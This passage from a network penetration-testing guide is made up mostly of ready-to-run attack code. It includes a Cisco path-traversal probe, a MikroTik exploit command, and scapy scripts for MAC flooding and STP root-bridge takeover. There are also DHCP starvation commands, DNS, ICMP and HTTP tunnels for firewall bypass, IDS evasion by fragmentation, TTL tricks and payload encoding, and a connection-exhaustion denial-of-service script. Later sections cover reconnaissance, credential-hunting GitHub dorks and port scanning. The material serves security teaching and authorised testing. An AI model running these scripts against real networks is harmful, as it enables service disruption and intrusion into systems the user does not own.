neighbors\n\n# Test for BGP without authentication\n# Attempt to establish BGP session\n```\n\n**OSPF Security Testing:**\n```bash\n# Sniff OSPF packets\ntcpdump -i eth0 -v -s 1500 'proto ospf'\n\n# Check for authentication\n# Null authentication = vulnerable\n# Plaintext authentication = sniffable\n# MD5 authentication = stronger (but MD5 weaknesses)\n```\n\n**Router Exploitation:**\n\n**Cisco IOS Exploitation:**\n```python\nimport requests\n\n# Cisco IOS HTTP server exploit (example)\ndef cisco_ios_exploit(router_ip):\n    # Test for CVE-2020-3452 (read-only path traversal)\n    url = f\"http://{router_ip}/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../\"\n    \n    response = requests.get(url)\n    if \"portal\" in response.text:\n        print(f\"[!] Router vulnerable to path traversal\")\n        print(response.text[:200])\n```\n\n**RouterOS (MikroTik) Exploitation:**\n```bash\n# MikroTik CVE-2018-14847 (WinBox vulnerability)\npython routeros.py -i 192.168.1.1\n```\n\n### Switch Security Testing\n\nSwitches operate at layer 2 and provide connectivity within network segments.\n\n**VLAN and Trunking Misconfigurations:**\n\n**DTP (Dynamic Trunking Protocol) Testing:**\n```python\nfrom scapy.all import *\n\ndef test_dtp(interface):\n    \"\"\"Test if switch responds to DTP\"\"\"\n    # DTP frame\n    dtp = Ether(dst=\"01:00:0c:cc:cc:cc\")/ \\\n          LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03)/ \\\n          SNAP(OUI=0x00000c, code=0x2004)/ \\\n          Raw(load=\"\\x00\\x01\\x00\\x01\")  # Simplified\n    \n    response = srp1(dtp, iface=interface, timeout=5)\n    if response:\n        print(\"[+] Switch responded to DTP - trunk negotiation possible\")\n```\n\n**Native VLAN Testing:**\n```python\ndef test_native_vlan(interface, target_ip):\n    \"\"\"Test if native VLAN allows access\"\"\"\n    # Send frame without tag (native VLAN)\n    frame = Ether(dst=\"ff:ff:ff:ff:ff:ff\")/ \\\n            IP(dst=target_ip)/ICMP()\n    \n    response = srp1(frame, iface=interface, timeout=2)\n    if response:\n        print(f\"[+] Communication possible on native VLAN\")\n```\n\n**Switch Attack Vectors:**\n\n**MAC Flooding:**\n```python\nfrom scapy.all import *\nimport random\n\ndef mac_flood(interface, target_ip, count=10000):\n    \"\"\"Flood switch with fake MACs\"\"\"\n    for i in range(count):\n        # Random source MAC\n        src_mac = \"02:%02x:%02x:%02x:%02x:%02x\" % tuple(random.randint(0,255) for _ in range(5))\n        \n        # Random source IP\n        src_ip = \"192.168.%d.%d\" % (random.randint(1,254), random.randint(1,254))\n        \n        frame = Ether(src=src_mac, dst=\"ff:ff:ff:ff:ff:ff\")/ \\\n                IP(src=src_ip, dst=target_ip)/ICMP()\n        \n        sendp(frame, iface=interface, verbose=False)\n        \n        if i % 1000 == 0:\n            print(f\"[+] Sent {i} frames\")\n```\n\n**CDP Information Gathering:**\n```python\ndef sniff_cdp(interface, count=10):\n    \"\"\"Sniff CDP packets\"\"\"\n    def handle_cdp(pkt):\n        if pkt.haslayer(CDP):\n            print(\"\\n[+] CDP Packet:\")\n            if hasattr(pkt[CDP], 'val_deviceid'):\n                print(f\"  Device ID: {pkt[CDP].val_deviceid}\")\n            if hasattr(pkt[CDP], 'val_platform'):\n                print(f\"  Platform: {pkt[CDP].val_platform}\")\n            if hasattr(pkt[CDP], 'val_address'):\n                print(f\"  Address: {pkt[CDP].val_address}\")\n            if hasattr(pkt[CDP], 'val_portid'):\n                print(f\"  Port ID: {pkt[CDP].val_portid}\")\n            if hasattr(pkt[CDP], 'val_version'):\n                print(f\"  Version: {pkt[CDP].val_version}\")\n    \n    sniff(iface=interface, filter=\"ether dst 01:00:0c:cc:cc:cc\", prn=handle_cdp, count=count)\n```\n\n**STP Manipulation:**\n```python\ndef stp_root_bridge_attack(interface):\n    \"\"\"Attempt to become STP root bridge\"\"\"\n    # BPDU with priority 0 (lowest)\n    bpdu = Ether(dst=\"01:80:c2:00:00:00\")/ \\\n           LLC(dsap=0x42, ssap=0x42, ctrl=0x03)/ \\\n           STP(\n               proto=0,\n               version=0,\n               bpdutype=0x00,\n               bpduflags=0x00,\n               rootid=0,  # Priority 0\n               rootmac=\"02:00:00:00:00:01\",\n               cost=0,\n               bridgeid=0,\n               bridgemac=\"02:00:00:00:00:01\",\n               portid=0x8001,\n               age=0,\n               maxage=20,\n               hellotime=2,\n               fwddelay=15\n           )\n    \n    sendp(bpdu, iface=interface, loop=1, inter=2)\n```\n\n**Switch Security Features Testing:**\n\n**Port Security:**\n```bash\n# Test MAC limiting\n# Connect multiple devices to same port\n# Should trigger violation\n\n# Test sticky MAC learning\n# Spoof learned MAC to see if allowed\n```\n\n**802.1X Authentication Bypass:**\n```bash\n# Test for MAB (MAC Authentication Bypass) fallback\n# Spoof MAC of authorized device\n\n# Test 802.1X EAP weaknesses\n# EAP-MD5 (vulnerable to dictionary attack)\n# PEAP/MSCHAPv2 (vulnerable to relay attacks)\n```\n\n**DHCP Snooping Testing:**\n```bash\n# Test DHCP starvation\nyersinia dhcp -attack 1  # DHCP starvation\n\n# Test rogue DHCP server\ndhcpd -cf rogue-dhcp.conf\n```\n\n**Dynamic ARP Inspection (DAI) Testing:**\n```bash\n# Test ARP spoofing with DAI enabled\n# Should be blocked\n# Try ARP packets with invalid MAC-IP bindings\n```\n\n### Firewall and IPS/IDS Testing\n\nFirewalls filter traffic based on rules, while intrusion prevention systems detect and block attacks.\n\n**Firewall Rule Enumeration:**\n\n**Port Scanning to Infer Rules:**\n```bash\n# TCP SYN scan - see what's allowed\nnmap -sS -p T:1-1000 target_ip\n\n# TCP ACK scan - map firewall rules\nnmap -sA -p 1-1000 target_ip\n\n# Fragment scanning - bypass inspection\nnmap -f -sS target_ip\n\n# Decoy scanning - hide source\nnmap -D RND:10,ME target_ip\n```\n\n**Firewalking (Firewall Rule Detection):**\n```bash\n# Firewalk - determine ACLs\nfirewalk -S 1-100 -i eth0 -p TCP target_gateway target_host\n```\n\n**Firewall Bypass Techniques:**\n\n**Protocol Tunneling:**\n\n**DNS Tunneling:**\n```bash\n# Set up DNS tunnel\niodine -f -P password dns-server.example.com\n\n# Now use tunnel for blocked protocols\nssh -o ProxyCommand=\"nc -X connect -x localhost:1080 %h %p\" internal-server\n```\n\n**HTTP Tunneling:**\n```python\n# HTTP tunnel using CONNECT method\nimport socket\n\ndef http_tunnel(target_host, target_port, proxy_host, proxy_port):\n    \"\"\"Create HTTP tunnel through proxy\"\"\"\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    s.connect((proxy_host, proxy_port))\n    \n    # Send CONNECT request\n    s.send(f\"CONNECT {target_host}:{target_port} HTTP/1.0\\r\\n\\r\\n\".encode())\n    \n    response = s.recv(1024)\n    if b\"200\" in response:\n        print(\"[+] Tunnel established\")\n        return s\n    return None\n```\n\n**ICMP Tunneling:**\n```bash\n# ICMP tunnel\nptunnel -p proxy-server -lp 8000 -da target-server -dp 22\n# Now ssh to localhost:8000 goes through ICMP tunnel\n```\n\n**SSH Over HTTP:**\n```bash\n# SSH over HTTP using corkscrew\nssh -o ProxyCommand=\"corkscrew proxy.example.com 8080 %h %p\" target-server\n```\n\n**Fragmentation Overlap:**\n```python\nfrom scapy.all import *\n\ndef fragment_overlap_bypass(target_ip, target_port):\n    \"\"\"Create overlapping fragments\"\"\"\n    # First fragment: \"GET /index.html\"\n    frag1 = IP(dst=target_ip, id=12345, flags=\"MF\", frag=0)/ \\\n            TCP(sport=1234, dport=target_port, seq=1000)/ \\\n            Raw(load=\"GET /index.ht\")\n    \n    # Second fragment: overlapping offset writes \"admin\" over part\n    frag2 = IP(dst=target_ip, id=12345, frag=1)/ \\\n            TCP(sport=1234, dport=target_port, seq=1000)/ \\\n            Raw(load=\"adminl\")\n    \n    send(frag1)\n    send(frag2)\n    # Reassembled: \"GET /adminl\"\n```\n\n**TTL Manipulation:**\n```python\ndef ttl_bypass(target_ip, target_port, firewall_hop_count):\n    \"\"\"Bypass firewall using TTL expiration\"\"\"\n    # Set TTL to expire between firewall and target\n    # Firewall sees packet with TTL=1 (expires soon)\n    # Packet reaches target after TTL expired (ignored)\n    \n    # Send packet with TTL that expires after firewall\n    pkt = IP(dst=target_ip, ttl=firewall_hop_count + 1)/ \\\n          TCP(sport=1234, dport=target_port)/ \\\n          Raw(load=\"malicious\")\n    \n    send(pkt)\n```\n\n**IDS/IPS Evasion:**\n\n**Payload Encoding:**\n```python\n# Base64 encoding\nimport base64\npayload = \"alert(1)\"\nencoded = base64.b64encode(payload.encode()).decode()\n\n# Attack URL\nurl = f\"http://target.com/page?input={encoded}\"\n\n# Server decodes and reflects\n```\n\n**Polymorphic Shellcode:**\n```python\n# Generate multiple variations\nimport random\n\ndef generate_xss_variations(payload):\n    variations = []\n    \n    # Case variation\n    variations.append(''.join(random.choice([c.upper(), c.lower()]) for c in payload))\n    \n    # HTML entity encoding\n    variations.append(''.join(f\"&#{ord(c)};\" for c in payload))\n    \n    # URL encoding\n    variations.append(''.join(f\"%{ord(c):02x}\" for c in payload))\n    \n    # JavaScript encoding\n    variations.append(''.join(f\"\\\\u{ord(c):04x}\" for c in payload))\n    \n    return variations\n```\n\n**Session Splicing:**\n```python\nimport socket\nimport time\n\ndef session_splicing(target_ip, target_port, payload, chunk_size=1, delay=0.1):\n    \"\"\"Split attack across multiple packets\"\"\"\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    s.connect((target_ip, target_port))\n    \n    # Send HTTP headers normally\n    s.send(b\"GET / HTTP/1.1\\r\\n\")\n    s.send(b\"Host: target.com\\r\\n\")\n    s.send(b\"\\r\\n\")\n    \n    # Send payload character by character\n    for char in payload:\n        s.send(char.encode())\n        time.sleep(delay)\n    \n    s.close()\n```\n\n**Timing Attacks:**\n```python\nimport time\nimport requests\n\ndef slow_attack(url, payloads, delay=5):\n    \"\"\"Slow attack to avoid threshold detection\"\"\"\n    for payload in payloads:\n        requests.get(url, params={\"q\": payload})\n        time.sleep(delay)  # Slow down to avoid triggering thresholds\n```\n\n### Load Balancer and Reverse Proxy Testing\n\nLoad balancers distribute traffic and often terminate SSL/TLS connections.\n\n**Load Balancer Discovery:**\n\n**HTTP Header Analysis:**\n```bash\n# Check for load balancer headers\ncurl -I https://target.com | grep -i \"x-forwarded\\|via\\|x-cache\\|x-backend\"\n\n# Multiple requests to see different servers\nfor i in {1..10}; do\n    curl -s -I https://target.com | grep -i \"server\\|x-powered\"\ndone\n```\n\n**Cookie Analysis:**\n```bash\n# Look for load balancer cookies\ncurl -s -I https://target.com | grep -i \"set-cookie\"\n\n# Common LB cookies:\n# BIGipServer* (F5)\n# TS* (Citrix Netscaler)\n# AWSALB (AWS ALB)\n# SERVERID (Apache)\n```\n\n**Time-Based Detection:**\n```bash\n# Time requests to detect different backends\nfor i in {1..10}; do\n    time curl -s https://target.com > /dev/null\ndone\n```\n\n**Multiple IP Resolution:**\n```bash\n# Check if domain resolves to multiple IPs\nnslookup target.com\ndig target.com\n\n# Check for geographic distribution\nfor ip in $(dig target.com +short); do\n    whois $ip | grep -i \"country\\|netname\"\ndone\n```\n\n**Load Balancer Attacks:**\n\n**Session Persistence Exploitation:**\n```python\nimport requests\n\ndef session_persistence_test(url, num_requests=10):\n    \"\"\"Test if session sticks to same backend\"\"\"\n    session = requests.Session()\n    \n    for i in range(num_requests):\n        response = session.get(url)\n        backend = response.headers.get('X-Backend-Server', 'unknown')\n        print(f\"Request {i}: backend={backend}\")\n    \n    # If all same, session persistence is working\n```\n\n**SSL/TLS Offloading Attacks:**\n```python\n# If LB terminates SSL, try accessing backend directly\n# Find real backend IPs (via DNS, headers, errors)\n\ndef test_direct_backend(backend_ip):\n    \"\"\"Test if backend accessible directly\"\"\"\n    try:\n        # Try HTTP (should be HTTPS if offloading)\n        response = requests.get(f\"http://{backend_ip}\", timeout=5)\n        print(f\"[+] Backend accessible directly\")\n    except:\n        pass\n```\n\n**Load Balancer Configuration Extraction:**\n```python\n# Error messages may reveal configuration\ndef extract_lb_info(url):\n    \"\"\"Extract load balancer info from errors\"\"\"\n    # Trigger errors with malformed requests\n    responses = []\n    \n    # Overflow cookie\n    cookies = {'bigipserver': 'A' * 10000}\n    responses.append(requests.get(url, cookies=cookies))\n    \n    # Invalid protocol\n    responses.append(requests.get(url.replace('https', 'http')))\n    \n    # Check responses for backend info\n    for response in responses:\n        if 'backend' in response.text.lower():\n            print(f\"[!] Found backend info: {response.text[:200]}\")\n```\n\n**DoS Through Connection Exhaustion:**\n```python\nimport socket\nimport threading\n\ndef connection_exhaustion(target_ip, target_port, num_connections=1000):\n    \"\"\"Exhaust load balancer connection table\"\"\"\n    sockets = []\n    \n    def create_connection():\n        try:\n            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            s.connect((target_ip, target_port))\n            # Send partial request to keep connection open\n            s.send(b\"GET / HTTP/1.1\\r\\n\")\n            s.send(b\"Host: target.com\\r\\n\")\n            # Don't send final \\r\\n, keep connection open\n            sockets.append(s)\n        except:\n            pass\n    \n    threads = []\n    for i in range(num_connections):\n        t = threading.Thread(target=create_connection)\n        t.start()\n        threads.append(t)\n    \n    for t in threads:\n        t.join()\n    \n    print(f\"[+] Created {len(sockets)} connections\")\n    # Keep connections open\n    input(\"Press Enter to close...\")\n```\n\n---\n\n# Part 3: Advanced Reconnaissance and Enumeration\n\n## 3.1 Passive Reconnaissance Methodology\n\nPassive reconnaissance gathers information without directly interacting with target systems, reducing detection risk.\n\n### DNS Intelligence Gathering\n\n**DNS Records Analysis:**\n\n**Comprehensive DNS Enumeration:**\n```bash\n# Get all record types\ndig any target.com\ndig target.com ANY @8.8.8.8\n\n# Specific record types\ndig a target.com\ndig aaaa target.com\ndig mx target.com\ndig ns target.com\ndig txt target.com\ndig soa target.com\ndig cname target.com\ndig ptr target.com\n\n# Using nslookup (Windows/Linux)\nnslookup -type=any target.com\n```\n\n**DNS Zone Transfer Attempts:**\n```bash\n# Get name servers\nns=$(dig ns target.com +short)\n\n# Try zone transfer from each\nfor ns in $ns; do\n    echo \"Trying zone transfer from $ns\"\n    dig axfr target.com @$ns\ndone\n\n# Using dnsrecon\ndnsrecon -d target.com -t axfr\n\n# Using fierce\nfierce --domain target.com --dns-servers $ns\n```\n\n**DNS History and Changes:**\n\n**SecurityTrails API:**\n```bash\n# SecurityTrails (requires API key)\ncurl --request GET \\\n  --url 'https://api.securitytrails.com/v1/domain/target.com/subdomains' \\\n  --header 'APIKEY: YOUR_API_KEY'\n```\n\n**DNSDumpster:**\n```bash\n# DNSDumpster (web interface)\n# https://dnsdumpster.com/\n\n# Or use API\ncurl -X POST https://dnsdumpster.com/ -d \"targetip=target.com\"\n```\n\n**Certificate Transparency Logs:**\n```bash\n# crt.sh\ncurl -s \"https://crt.sh/?q=%.target.com&output=json\" | jq -r '.[].name_value' | sort -u\n\n# censys.io (requires API)\ncensys certificates -q \"parsed.names: target.com\"\n\n# certspotter\ncertspotter -domain target.com\n```\n\n**Subdomain Discovery Techniques:**\n\n**Brute-Force with Wordlists:**\n```bash\n# Using gobuster\ngobuster dns -d target.com -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50\n\n# Using massdns\nmassdns -r resolvers.txt -t A -o S -w massdns_output.txt subdomains.txt\n\n# Using dnsx\ndnsx -d target.com -w subdomains.txt -r resolvers.txt -o resolved.txt\n```\n\n**Permutation Generation:**\n```python\n# Generate permutations of known subdomains\ndef generate_permutations(domain, known_subdomains):\n    permutations = []\n    \n    # Common prefixes/suffixes\n    prefixes = ['dev', 'stg', 'test', 'uat', 'prod', 'backup', 'old', 'new']\n    suffixes = ['-dev', '-stg', '-test', '-backup']\n    \n    for sub in known_subdomains:\n        # Add base\n        permutations.append(sub)\n        \n        # Add prefixes\n        for prefix in prefixes:\n            permutations.append(f\"{prefix}-{sub}\")\n            permutations.append(f\"{prefix}{sub}\")\n        \n        # Add suffixes\n        for suffix in suffixes:\n            permutations.append(f\"{sub}{suffix}\")\n        \n        # Number variations\n        for i in range(1, 10):\n            permutations.append(f\"{sub}{i}\")\n    \n    return permutations\n```\n\n**Search Engine Dorking:**\n```\n# Google dorks for subdomains\nsite:*.target.com\n-site:www.target.com\n\n# Inurl dorks\ninurl:target.com\ninurl:target.com -inurl:www\n\n# Filetype dorks for additional info\nsite:target.com filetype:pdf\nsite:target.com filetype:doc\nsite:target.com filetype:xls\nsite:target.com filetype:txt\n```\n\n**Third-Party Sources:**\n```bash\n# Shodan\nshodan search hostname:target.com\nshodan search ssl.cert.subject.cn:target.com\n\n# Censys\ncensys search \"target.com\"\n\n# VirusTotal\ncurl -s \"https://www.virustotal.com/api/v3/domains/target.com/subdomains\" \\\n  -H \"x-apikey: YOUR_API_KEY\"\n\n# AlienVault OTX\ncurl -s \"https://otx.alienvault.com/api/v1/indicators/domain/target.com/url_list\"\n```\n\n### SSL/TLS Certificate Analysis\n\nCertificates provide rich information about infrastructure:\n\n**Certificate Extraction:**\n```bash\n# Get certificate from live server\necho | openssl s_client -connect target.com:443 -servername target.com 2>/dev/null | openssl x509 -text\n\n# Get certificate chain\necho | openssl s_client -connect target.com:443 -servername target.com -showcerts 2>/dev/null\n\n# Get certificate in PEM format\necho | openssl s_client -connect target.com:443 -servername target.com 2>/dev/null | openssl x509 -outform PEM\n```\n\n**Certificate Analysis:**\n```python\nimport ssl\nimport socket\nimport OpenSSL\n\ndef analyze_certificate(hostname, port=443):\n    \"\"\"Analyze SSL certificate\"\"\"\n    context = ssl.create_default_context()\n    \n    with socket.create_connection((hostname, port)) as sock:\n        with context.wrap_socket(sock, server_hostname=hostname) as ssock:\n            cert = ssock.getpeercert(binary_form=True)\n            x509 = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_ASN1, cert)\n            \n            # Subject\n            subject = x509.get_subject()\n            print(f\"Subject: {subject.CN}\")\n            \n            # Subject Alternative Names\n            for i in range(x509.get_extension_count()):\n                ext = x509.get_extension(i)\n                if ext.get_short_name() == b'subjectAltName':\n                    print(f\"SANs: {ext}\")\n            \n            # Issuer\n            issuer = x509.get_issuer()\n            print(f\"Issuer: {issuer.CN}\")\n            \n            # Validity\n            not_before = x509.get_notBefore().decode()\n            not_after = x509.get_notAfter().decode()\n            print(f\"Valid from: {not_before}\")\n            print(f\"Valid to: {not_after}\")\n            \n            # Signature algorithm\n            print(f\"Signature algo: {x509.get_signature_algorithm().decode()}\")\n            \n            # Public key\n            pubkey = x509.get_pubkey()\n            print(f\"Public key type: {pubkey.type()}\")\n            print(f\"Public key bits: {pubkey.bits()}\")\n```\n\n### Search Engine and OSINT Techniques\n\n**Google Dorking for Network Intelligence:**\n\n**Network Device Discovery:**\n```\n# Default pages\nintitle:\"index of\" network \"target.com\"\nintitle:\"router configuration\" \"target.com\"\nintitle:\"switch configuration\" \"target.com\"\nintitle:\"firewall configuration\" \"target.com\"\n\n# Configuration files\nfiletype:conf \"network configuration\" \"target.com\"\nfiletype:cfg \"router\" \"target.com\"\nfiletype:ini \"network\" \"target.com\"\n\n# SNMP information\ninurl:snmp \"public\" \"target.com\"\ninurl:snmp \"private\" \"target.com\"\n\n# Port exposure\nsite:target.com inurl:8080\nsite:target.com inurl:8443\nsite:target.com inurl:9090\nsite:target.com intitle:\"index of\" port:\n\n# Error messages\n\"warning: server certificate\" site:target.com\n\"self-signed certificate\" site:target.com\n\"dhcp server\" \"target.com\"\n```\n\n**Shodan and Censys Queries:**\n\n**Shodan Search Filters:**\n```\n# Basic filters\nhostname:\"target.com\"\nssl.cert.subject.cn:\"target.com\"\nhttp.title:\"Target Company\"\norg:\"Target Organization\"\nnet:\"192.168.0.0/16\"\n\n# Service-specific\nport:22 hostname:\"target.com\"\nport:80,443 hostname:\"target.com\"\nport:3389 hostname:\"target.com\"\nproduct:\"Apache\" hostname:\"target.com\"\n\n# Vulnerability-focused\nvuln:CVE-2021-44228 hostname:\"target.com\"\nvuln:heartbleed hostname:\"target.com\"\n```\n\n**Censys Search:**\n```\n# Censys queries\ntarget.com\nservices.service_name: HTTP and target.com\nservices.port: 3389 and target.com\nservices.tls.certificate.parsed.subject_dn: target.com\n```\n\n**GitHub and Code Repository Searching:**\n\n**GitHub Dorks:**\n```bash\n# Search for configuration files\n\"target.com\" \"aws_access_key\"\n\"target.com\" \"password\"\n\"target.com\" \"api_key\"\n\"target.com\" \"secret\"\n\"target.com\" filename:.env\n\"target.com\" filename:config.php\n\"target.com\" filename:settings.py\n\n# Using gitrob\ngitrob -repo target/org-name\n\n# Using truffleHog\ntruffleHog --regex --entropy=False https://github.com/target/repo.git\n```\n\n**Wayback Machine and Historical Data:**\n\n**Archive.org:**\n```bash\n# Get historical URLs\ncurl \"http://web.archive.org/cdx/search/cdx?url=*.target.com&output=json&fl=original\"\n\n# Using waybackurls\nwaybackurls target.com | sort -u\n\n# Using gau (Get All URLs)\ngau target.com | sort -u\n```\n\n## 3.2 Active Scanning and Enumeration\n\nActive scanning directly probes target systems, providing more detailed information but increasing detection risk.\n\n### Network Mapping and Discovery\n\n**Live Host Discovery Techniques:**\n\n**ICMP Discovery:**\n```bash\n# ICMP echo request (standard ping)\nnmap -sn -PE 192.168.1.0/24\n\n# ICMP timestamp requests (often allowed when echo blocked)\nnmap -sn -PP 192.168.1.0/24\n\n# ICMP address mask requests\nnmap -sn -PM 192.168.1.0/24\n\n# Ping sweep with fping\nfping -a -g 192.168.1.0/24 2>/dev/null\n```\n\n**TCP Discovery:**\n```bash\n# TCP SYN to common ports\nnmap -sn -PS80,443,22,25 192.168.1.0/24\n\n# TCP ACK (may bypass stateless firewalls)\nnmap -sn -PA80,443 192.168.1.0/24\n\n# TCP on all ports (slow)\nnmap -sn -PS1-65535 192.168.1.0/24\n\n# Using masscan for speed\nmasscan -p80,443,22,25 192.168.1.0/24 --rate=1000\n```\n\n**UDP Discovery:**\n```bash\n# UDP probes (slower but discovers UDP services)\nnmap -sn -PU53,161,137 192.168.1.0/24\n\n# Specific UDP ports\nfor port in 53 67 68 69 123 137 138 139 161 162 500 514 520 1900 4500 5353; do\n    nmap -sn -PU$port 192.168.1.0/24\ndone\n```\n\n**ARP Discovery (Local Networks):**\n```bash\n# ARP scanning is most reliable on local networks\narp-scan --localnet\narp-scan 192.168.1.0/24\n\n# Using nmap ARP scan\nnmap -sn -PR 192.168.1.0/24\n\n# Using netdiscover\nnetdiscover -r 192.168.1.0/24\n```\n\n**Custom Discovery Script:**\n```python\n#!/usr/bin/env python3\nimport socket\nimport threading\nimport ipaddress\nfrom queue import Queue\n\nclass HostDiscovery:\n    def __init__(self, network, ports=[80,443,22], threads=100):\n        self.network = ipaddress.ip_network(network)\n        self.ports = ports\n        self.threads = threads\n        self.queue = Queue()\n        self.results = []\n        \n    def check_host(self, ip):\n        \"\"\"Check if host is alive\"\"\"\n        # Try ICMP\n        try:\n            sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)\n            sock.settimeout(1)\n            # Would need to craft ICMP packet\n        except:\n            pass\n        \n        # Try TCP connections\n        for port in self.ports:\n            try:\n                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n                sock.settimeout(1)\n                result = sock.connect_ex((str(ip), port))\n                if result == 0:\n                    self.results.append(str(ip))\n                    print(f\"[+] Found host: {ip}\")\n                    return\n                sock.close()\n            except:\n                pass\n    \n    def worker(self):\n        while not self.queue.empty():\n            ip = self.queue.get()\n            self.check_host(ip)\n            self.queue.task_done()\n    \n    def run(self):\n        print(f\"[*] Scanning {self.network}...\")\n        \n        # Fill queue\n        for ip in self.network.hosts():\n            self.queue.put(ip)\n        \n        # Start threads\n        threads = []\n        for _ in range(self.threads):\n            t = threading.Thread(target=self.worker)\n            t.start()\n            threads.append(t)\n        \n        # Wait for completion\n        self.queue.join()\n        \n        print(f\"[+] Found {len(self.results)} live hosts\")\n        return self.results\n```\n\n### Port Scanning Strategies\n\n**TCP Connect Scanning:**\n```bash\n# TCP connect scan (completes handshake)\nnmap -sT -p 1-1000 192.168.1.1\n\n# With version detection\nnmap -sT -sV -p 1-1000 192.168.1.1\n```\n\n**TCP SYN (Half-Open) Scanning:**\n```bash\n# SYN scan (requires root)\nnmap -sS -p 1-1000 192.168.1.1\n\n# With timing template\nnmap -sS -T4 -p 1-1000 192.168.1.1\n\n# With fragmentation\nnmap -sS -f -p 1-1000 192.168.1.1\n```\n\n**TCP FIN/NULL/XMAS Scanning:**\n```bash\n# FIN scan\nnmap -sF -p 1-1000 192.168.1.1\n\n# NULL scan\nnmap -sN -p 1-1000 192.168.1.1\n\n# XMAS scan\nnmap -sX -p 1-1000 192.168.1.1\n```\n\n**UDP Scanning:**\n```bash\n# UDP scan (slow)\nnmap -sU -p 1-1000 192.168.1.1\n\n# Top UDP ports\nnmap -sU --top-ports 100 192.168.1.1\n\n# Faster UDP with version detection\nnmap -sU -sV --version-intensity 0 -p 53,67,68,69,123,137,138,139,161,162,500,514,520 192.168.1.1\n```\n\n**Scan Optimization:**\n\n**Timing Templates:**\n```bash\n# T0: Paranoid (serial, 5 min between probes)\nnmap -T0 -sS target.com\n\n# T1: Sneaky (serial, 15 sec between probes)\nnmap -T1 -sS target.com\n\n# T2: Polite (serial, 0.4 sec between probes)\nnmap -T2 -sS target.com\n\n# T3: Normal (parallel, default)\nnmap -T3 -sS target.com\n\n# T4: Aggressive (fast, assumes good network)\nnmap -T4 -sS target.com\n\n# T5: Insane (very fast, may miss ports)\nnmap -T5 -sS target.com\n```\n\n**Rate Limiting:**\n```bash\n# Limit packet rate\nnmap --min-rate 10 --max-rate 100 target.com\n\n# Masscan for high speed\nmasscan -p1-65535 --rate=10000 target.com\n```\n\n**Scan Delay:**\n```bash\n# Add delay between probes\nnmap --scan-delay 1s target.com\n\n# Randomize scan order\nnmap --randomize-hosts target.com\n```\n\n**Decoy Scanning:**\n```bash\n# Use decoys to hide real source\nnmap -D RND:10,ME target.com\n\n# Specific decoy IPs\nnmap -D 192.168.1.5,10.0.0.1,ME target.com\n```\n\n**Custom Port Scanner:**\n```python\nimport socket\nimport threading\nfrom queue import Queue\n\nclass PortScanner:\n    def __init__(self, target, ports, threads=100, timeout=1):\n        self.target = target\n        self.ports = ports\n        self.threads = threads\n        self.timeout = timeout\n        self.queue = Queue()\n        self.results = []\n        \n    def scan_port(self, port):\n        \"\"\"Scan single port\"\"\"\n        try:\n            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            sock.settimeout(self.timeout)\n            result = sock.connect_ex((self.target, port))\n            if result == 0:\n                # Try to grab banner\n                try:\n                    if port == 80:\n                        sock.send(b\"HEAD / HTTP/1.0\\r\\n\\r\\n\")\n                    elif port == 21:\n                        sock.send(b\"HELP\\r\\n\")\n                    elif port == 25:\n                        sock.send(b\"HELO\\r\\n\")\n                    banner = sock.recv(1024).decode().strip()\n                except:\n                    banner = \"\"\n                \n                self.results.append({\n                    'port': port,\n                    'state': 'open',\n                    'service': self.get_service_name(port),\n                    'banner': banner\n                })\n                print(f\"[+] Port {port} open - {self.get_service_name(port)}\")\n            sock.close()\n        except:\n            pass\n    \n    def get_service_name(self, port):\n        \"\"\"Get service name from port number\"\"\"\n        try:\n            return socket.getservbyport(port)\n        except:\n            return \"unknown\"\n    \n    def worker(self):\n        while not self.queue.empty():\n            port = self.queue.get()\n            self.scan_port(port)\n            self.queue.task_done()\n    \n    def run(self):\n        print(f\"[*] Scanning {self.target} for {len(self.ports)} ports...\")\n        \n        # Fill queue\n        for port in self.ports:\n            self.queue.put(port)\n        \n        # Start threads\n        threads = []\n        for _ in range(self.threads):\n            t = threading.Thread(target=self.worker)\n            t.start()\n            threads.append(t)\n        \n        # Wait for completion\n        self.queue.join()\n        \n        print(f\"[+] Scan complete. Found {len(self.results)} open ports\")\n        return self.results\n\n# Usage\nscanner = PortScanner(\"192.168.1.1\", range(1, 1025), threads=200)\nresults = scanner.run()\n```\n\n### Service Version Detection\n\nBanner grabbing identifies running services and versions:\n\n**Service Version Detection with Nmap:**\n```bash\n# Basic version detection\nnmap -sV -p 80,443,22 192.168.1.1\n\n# Aggressive version detection\nnmap -sV --version-intensity 9 -p- 192.168.1.1\n\n# Light version detection (faster)\nnmap -sV --version-intensity 0 -p 1-1000 192.168.1.1\n```\n\n**Banner Grabbing with Netcat:**\n```bash\n# HTTP banner\nnc -nv 192.168.1.1 80 <<< \"HEAD / HTTP/1.0\\r\\n\\r\\n\"\n\n# SMTP banner\nnc -nv 192.168.1.1 25 <<< \"HELO test.com\"\n\n# FTP banner\nnc -nv 192.168.1.1 21 <<< \"HELP\"\n\n# SSH banner\nnc -nv 192.168.1.1 22\n```\n\n**Banner Grabbing with Python:**\n```python\nimport socket\n\ndef grab_banner(ip, port, timeout=5):\n    \"\"\"Grab service banner\"\"\"\n    try:\n        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        sock.settimeout(timeout)\n        sock.connect((ip, port))\n        \n        # Send probe based on port\n        if port == 80:\n            sock.send(b\"HEAD / HTTP/1.0\\r\\n\\r\\n\")\n        elif port == 21:\n            sock.send(b\"HELP\\r\\n\")\n        elif port == 25:\n            sock.send(b\"HELO test.com\\r\\n\")\n        elif port == 443:\n            # SSL/TLS needs special handling\n            pass\n        else:\n            # Generic probe\n            sock.send(b\"\\r\\n\")\n        \n        banner = sock.recv(1024).decode().strip()\n        sock.close()\n        return banner\n    except:\n        return None\n```\n\n### Operating System Fingerprinting\n\nOS detection identifies target operating systems for vulnerability mapping:\n\n**Nmap OS Detection:**\n```bash\n# OS detection\nnmap -O 192.168.1.1\n\n# OS detection with guess\nnmap -O --osscan-guess 192.168.1.1\n\n# Verbose OS detection\nnmap -O -v 